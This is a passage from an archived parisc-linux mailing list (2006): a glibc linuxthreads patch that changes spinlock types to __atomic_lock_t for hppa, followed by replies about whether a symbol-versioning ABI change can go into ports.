-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -674,7 +677,7 @@ int __pthread_has_cas = 0;
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -711,7 +714,7 @@ int __pthread_compare_and_swap(long * pt
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
Index: linuxthreads/spinlock.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/spinlock.h,v
retrieving revision 1.24
diff -u -p -r1.24 spinlock.h
--- linuxthreads/spinlock.h	31 Jul 2003 19:16:04 -0000	1.24
+++ linuxthreads/spinlock.h	26 May 2006 14:13:31 -0000
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@ static inline int compare_and_swap(long 
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@ compare_and_swap_with_release_semantics 
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@ static inline int compare_and_swap(long 
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
Index: linuxthreads/tst-clock1.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/tst-clock1.c,v
retrieving revision 1.2
diff -u -p -r1.2 tst-clock1.c
--- linuxthreads/tst-clock1.c	10 Dec 2004 00:37:46 -0000	1.2
+++ linuxthreads/tst-clock1.c	26 May 2006 14:13:31 -0000
@@ -53,8 +53,9 @@ tf (void *arg)
 
 
 int
-do_test (void)
+main (void)
 {
+  int err = 1;
 #if defined _POSIX_THREAD_CPUTIME && _POSIX_THREAD_CPUTIME >= 0
 # define N 10
 
@@ -137,10 +138,11 @@ do_test (void)
     }
 
   struct timespec t[N + 1];
+  int ret;
   for (i = 0; i < N + 1; ++i)
-    if (clock_gettime (cl[i], &t[i]) != 0)
+    if ((ret = clock_gettime (cl[i], &t[i])) != 0)
       {
-	printf ("clock_gettime round %d failed\n", i);
+	printf ("clock_gettime round %d failed with %d\n", i, ret);
 	return 1;
       }
 
@@ -152,6 +154,7 @@ do_test (void)
       diff.tv_nsec = t[i].tv_nsec - t[i + 1].tv_nsec;
       if (diff.tv_nsec < 0)
 	{
+	  printf ("Adjusting.\n");
 	  diff.tv_nsec += 1000000000;
 	  --diff.tv_sec;
 	}
@@ -161,7 +164,7 @@ do_test (void)
 	  printf ("\
 difference between thread %d and %d too small (%ld.%09ld)\n",
 		  i, i + 1, (long int) diff.tv_sec, (long int) diff.tv_nsec);
-	  return 1;
+	  err |= 1;
 	}
 
       printf ("diff %d->%d: %ld.%09ld\n",
@@ -194,9 +197,7 @@ difference between thread %d and %d too 
     }
 #endif
 
-  return 0;
+  return err;
 }
 
 
-#define TEST_FUNCTION do_test ()
-#include "../test-skeleton.c"
Index: linuxthreads/sysdeps/pthread/pthread.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/sysdeps/pthread/pthread.h,v
retrieving revision 1.42
diff -u -p -r1.42 pthread.h
--- linuxthreads/sysdeps/pthread/pthread.h	20 Sep 2004 22:12:11 -0000	1.42
+++ linuxthreads/sysdeps/pthread/pthread.h	26 May 2006 14:13:32 -0000
@@ -31,26 +31,26 @@ __BEGIN_DECLS
 /* Initializers.  */
 
 #define PTHREAD_MUTEX_INITIALIZER \
-  {0, 0, 0, PTHREAD_MUTEX_TIMED_NP, __LOCK_INITIALIZER}
+  {0, 0, 0, PTHREAD_MUTEX_TIMED_NP, __LOCK_ALT_INITIALIZER}
 #ifdef __USE_GNU
 # define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \
-  {0, 0, 0, PTHREAD_MUTEX_RECURSIVE_NP, __LOCK_INITIALIZER}
+  {0, 0, 0, PTHREAD_MUTEX_RECURSIVE_NP, __LOCK_ALT_INITIALIZER}
 # define PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP \
-  {0, 0, 0, PTHREAD_MUTEX_ERRORCHECK_NP, __LOCK_INITIALIZER}
+  {0, 0, 0, PTHREAD_MUTEX_ERRORCHECK_NP, __LOCK_ALT_INITIALIZER}
 # define PTHREAD_ADAPTIVE_MUTEX_INITIALIZER_NP \
-  {0, 0, 0, PTHREAD_MUTEX_ADAPTIVE_NP, __LOCK_INITIALIZER}
+  {0, 0, 0, PTHREAD_MUTEX_ADAPTIVE_NP, __LOCK_ALT_INITIALIZER}
 #endif
 
-#define PTHREAD_COND_INITIALIZER {__LOCK_INITIALIZER, 0, "", 0}
+#define PTHREAD_COND_INITIALIZER {__LOCK_ALT_INITIALIZER, 0, "", 0}
 
 #if defined __USE_UNIX98 || defined __USE_XOPEN2K
 # define PTHREAD_RWLOCK_INITIALIZER \
-  { __LOCK_INITIALIZER, 0, NULL, NULL, NULL,				      \
+  { __LOCK_ALT_INITIALIZER, 0, NULL, NULL, NULL,			      \
     PTHREAD_RWLOCK_DEFAULT_NP, PTHREAD_PROCESS_PRIVATE }
 #endif
 #ifdef __USE_GNU
 # define PTHREAD_RWLOCK_WRITER_NONRECURSIVE_INITIALIZER_NP \
-  { __LOCK_INITIALIZER, 0, NULL, NULL, NULL,				      \
+  { __LOCK_ALT_INITIALIZER, 0, NULL, NULL, NULL,			      \
     PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP, PTHREAD_PROCESS_PRIVATE }
 #endif
 
Index: linuxthreads/sysdeps/pthread/bits/initspin.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/sysdeps/pthread/bits/initspin.h,v
retrieving revision 1.3
diff -u -p -r1.3 initspin.h
--- linuxthreads/sysdeps/pthread/bits/initspin.h	26 Aug 2002 22:39:44 -0000	1.3
+++ linuxthreads/sysdeps/pthread/bits/initspin.h	26 May 2006 14:13:32 -0000
@@ -23,6 +23,7 @@
 #define __LT_SPINLOCK_INIT 0
 
 /* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
+#define __LOCK_INITIALIZER ((struct _pthread_fastlock){ 0, __LT_SPINLOCK_INIT })
+#define __LOCK_ALT_INITIALIZER { 0, __LT_SPINLOCK_INIT }
 #define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
 #define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }
Index: linuxthreads/sysdeps/pthread/bits/libc-lock.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/sysdeps/pthread/bits/libc-lock.h,v
retrieving revision 1.33
diff -u -p -r1.33 libc-lock.h
--- linuxthreads/sysdeps/pthread/bits/libc-lock.h	6 Jan 2006 09:55:46 -0000	1.33
+++ linuxthreads/sysdeps/pthread/bits/libc-lock.h	26 May 2006 14:13:32 -0000
@@ -71,12 +71,12 @@ typedef pthread_key_t __libc_key_t;
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
Index: linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h,v
retrieving revision 1.12
diff -u -p -r1.12 pthreadtypes.h
--- linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	12 Sep 2004 18:44:54 -0000	1.12
+++ linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	26 May 2006 14:13:32 -0000
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED






------=_Part_27885_23555842.1148653785481
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_27885_23555842.1148653785481--



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Close to mainline for hppa-linux TLS.
Date: Fri, 26 May 2006 16:57:48 -0400
Lines: 148
Approved: news@gmane.org
Message-ID: <1148677068.21405.5.camel@localhost.localdomain>
References: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0506517555=="
X-Trace: ger.gmane.org 1416624094 19734 80.91.229.3 (22 Nov 2014 02:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:34 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 May 2006 20:58:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 26 May 2006 22:58:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52BD77D721;
	Fri, 26 May 2006 14:58:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32077-10; Fri, 26 May 2006 14:58:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3F017D71C;
	Fri, 26 May 2006 14:58:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9FF17D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 14:58:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32013-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 14:58:13 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id B0E6C7D719
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 14:58:13 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR002.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0IZW00MA24X0H190@VL-MO-MR002.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 26 May 2006 16:58:12 -0400 (EDT)
In-reply-to: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
X-Mailer: Evolution 2.6.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lQ8fCSYFbHIyva3NNjQ0ZsUqJihyapDX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23702


--===============0506517555==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-lVJeoWM0gXYfQ8ktcmNc"


--=-lVJeoWM0gXYfQ8ktcmNc
Content-Type: multipart/alternative; boundary="=-s8kr1TPD6RYwoTWRBE8P"


--=-s8kr1TPD6RYwoTWRBE8P
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le vendredi 26 mai 2006 =C3=A0 10:29 -0400, Carlos O'Donell a =C3=A9crit :

> Index: sysdeps/unix/sysv/linux/hppa/Versions
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/Versions,v
> retrieving revision 1.2
> diff -u -p -r1.2 Versions
> --- sysdeps/unix/sysv/linux/hppa/Versions       28 Aug 2002 23:55:01
> -0000      1.2
> +++ sysdeps/unix/sysv/linux/hppa/Versions       26 May 2006 14:12:18
> -0000
> @@ -16,6 +16,9 @@ libc {
>      #errlist-compat    254
>      _sys_errlist; sys_errlist; _sys_nerr; sys_nerr;
>    }
> +  GLIBC_2.4 {
> +    #errlist-compat    256
> +    sys_errlist;
>  }
>  librt {
>    GLIBC_2.3 {


What stops this from going into ports now?

Tks,
Jeff Bailey

--=20
Although when you're in the situation that RMS is telling you that
you're being too ideological about freedom, maybe, just maybe, it's
true.
- Matthew Wilcox

--=-s8kr1TPD6RYwoTWRBE8P
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 TRANSITIONAL//EN">
<HTML>
<HEAD>
  <META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; CHARSET=3DUTF-8">
  <META NAME=3D"GENERATOR" CONTENT=3D"GtkHTML/3.10.1">
</HEAD>
<BODY>
Le vendredi 26 mai 2006 &#224; 10:29 -0400, Carlos O'Donell a &#233;crit&nb=
sp;:<BR>
<BLOCKQUOTE TYPE=3DCITE>
    <TT><FONT COLOR=3D"#000000">Index: sysdeps/unix/sysv/linux/hppa/Version=
s</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">RCS file: /cvs/glibc/ports/sysdeps/unix/sys=
v/linux/hppa/Versions,v</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">retrieving revision 1.2</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">diff -u -p -r1.2 Versions</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">--- sysdeps/unix/sysv/linux/hppa/Versions&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;28 Aug 2002 23:55:01 -0000&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;1.2</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">+++ sysdeps/unix/sysv/linux/hppa/Versions&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;26 May 2006 14:12:18 -0000</FONT></=
TT><BR>
    <TT><FONT COLOR=3D"#000000">@@ -16,6 +16,9 @@ libc {</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;&nbsp;&nbsp;&nbsp; #errlist-compat&nb=
sp;&nbsp;&nbsp;&nbsp;254</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;&nbsp;&nbsp;&nbsp; _sys_errlist; sys_=
errlist; _sys_nerr; sys_nerr;</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;&nbsp; }</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">+&nbsp; GLIBC_2.4 {</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">+&nbsp;&nbsp;&nbsp; #errlist-compat&nbsp;&n=
bsp;&nbsp;&nbsp;256</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">+&nbsp;&nbsp;&nbsp; sys_errlist;</FONT></TT=
><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;}</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;librt {</FONT></TT><BR>
    <TT><FONT COLOR=3D"#000000">&nbsp;&nbsp; GLIBC_2.3 {</FONT></TT><BR>
</BLOCKQUOTE>
<BR>
What stops this from going into ports now?<BR>
<BR>
Tks,<BR>
Jeff Bailey<BR>
<BR>
<TABLE CELLSPACING=3D"0" CELLPADDING=3D"0" WIDTH=3D"100%">
<TR>
<TD>
-- <BR>
<TT>Although when you're in the situation that RMS is telling you that</TT>=
<BR>
<TT>you're being too ideological about freedom, maybe, just maybe, it's</TT=
><BR>
<TT>true.</TT><BR>
- Matthew Wilcox
</TD>
</TR>
</TABLE>
</BODY>
</HTML>

--=-s8kr1TPD6RYwoTWRBE8P--

--=-lVJeoWM0gXYfQ8ktcmNc
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQBEd2vM5M5hmdCYCpkRAqg0AKDhJ8EhEAbq7w5+9dP8f3Pa91EEcwCdEWg1
zLPB9kUV2T9F+JE4pZVYx5Y=
=npU0
-----END PGP SIGNATURE-----

--=-lVJeoWM0gXYfQ8ktcmNc--


--===============0506517555==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0506517555==--



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Close to mainline for hppa-linux TLS.
Date: Fri, 26 May 2006 17:16:34 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab440605261416q7997e5d5x3e4bd642cb662ccd@mail.gmail.com>
References: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
	<1148677068.21405.5.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624094 19744 80.91.229.3 (22 Nov 2014 02:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:34 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 May 2006 21:16:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 26 May 2006 23:16:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBD587D721;
	Fri, 26 May 2006 15:16:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32640-06; Fri, 26 May 2006 15:16:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56BDB7D724;
	Fri, 26 May 2006 15:16:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 281D87D720
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 15:16:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32640-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 15:16:35 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id 1662E7D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 15:16:34 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i5so477281wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 14:16:34 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=LAfZDTrzaup1x7lsQRXNhWKGmTfocTzujsus09UeIvM1Rnsn7ulT4YP0UckjLtALGO0BBUmIsTxFFEH3C3tvkpEID5kyn3Gp+qnsvGPEtoN7jDkhyPFcMNuEKlxIJaQZzVakDU1GaFkvid5OU62L61ywufZHsdWnMtVBGCK3X6o=
Original-Received: by 10.54.156.6 with SMTP id d6mr2055482wre;
	Fri, 26 May 2006 14:16:34 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Fri, 26 May 2006 14:16:34 -0700 (PDT)
In-Reply-To: <1148677068.21405.5.camel@localhost.localdomain>
Content-Disposition: inline
X-Google-Sender-Auth: 3e068ce96cda0619
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Uh0VEF87bXBtrLqHPTQ2+DkqLyUmZQjz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23703

On 5/26/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
>
>
>  Le vendredi 26 mai 2006 =E0 10:29 -0400, Carlos O'Donell a =E9crit :
>
>      Index: sysdeps/unix/sysv/linux/hppa/Versions
>      =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>      RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/Versions,v
>      retrieving revision 1.2
>      diff -u -p -r1.2 Versions
>      --- sysdeps/unix/sysv/linux/hppa/Versions       28 Aug 2002 23:55:01=
 -0000      1.2
>      +++ sysdeps/unix/sysv/linux/hppa/Versions       26 May 2006 14:12:18=
 -0000
>      @@ -16,6 +16,9 @@ libc {
>           #errlist-compat    254
>           _sys_errlist; sys_errlist; _sys_nerr; sys_nerr;
>         }
>      +  GLIBC_2.4 {
>      +    #errlist-compat    256
>      +    sys_errlist;
>       }
>       librt {
>         GLIBC_2.3 {
>
>  What stops this from going into ports now?

It's unverified, and should not be changed blindly because it's an ABI chan=
ge.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Sat, 27 May 2006 23:09:11 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20060528060911.GW7471@pooh.cs.ucla.edu>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
	<20060330080202.GE5336@pooh.bubble.frostnet.net>
	<20060404033400.GQ25493@pooh.bubble.frostnet.net>
	<200604040805.33828.deller@gmx.de>
